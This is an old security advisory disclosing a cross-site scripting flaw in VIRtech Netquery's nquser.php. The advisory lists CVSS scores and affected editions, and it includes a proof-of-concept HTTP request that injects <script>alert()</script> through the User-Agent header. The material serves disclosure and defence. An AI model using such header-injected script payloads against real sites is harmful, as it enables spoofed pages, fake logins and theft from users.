Cross Site Scripting (XSS) Vulnerability in Netquery by "VIRtech"

Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

&#183;= Security Advisory =&#183; Issue: Cross Site Scripting (XSS) Vulnerability in Netquery by "VIRtech" Discovered Date: 04/10/2006 Author: Tal Argoni, LegendaryZion. [talargoni at] Product Vendor: Details: VIRtechs Netquery system is prone to a Cross Site Scripting Vulnerability. The vulnerability exists in "nquser.php" file, caused by the lack of Input Validation/Filtering of quotation and HTML characters in the header parameter "User-Agent:". Part of the http header: GET HTTP/1.0 User-Agent: <script>alert('User-Agent:')</script> ... After send the crafted http header, nquser.php prints the following HTML code: ------------------------------------------------------------------------ ------------------------------------------ ... User Agent : <script>alert('User-Agent:')</script><br /> ... Successful exploitation may allow execution of script code. This could also be exploited to spoof the entire website's content, create fake login menu's for all the platform's users, commit Denial Of Service attacks and more... Proof Of Concept: GET HTTP/1.0 Accept: */* Referer: Accept-Language: en-us Pragma: no-cache User-Agent: <script>alert()</script> Host: Proxy-Connection: Keep-Alive Cookie: e107_tdOffset=32630; e107_tdSetTime=1159974893; e107_tzOffset=420 Content-length: 0 Vulnerable systems: e107 Edition Postnuke Edition Xaraya Edition Xoops Edition Not vulnerable systems: Standalone Edition Fusion Edition for more details visit: Thanks, Tal Argoni, CEH

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022,


Back to Top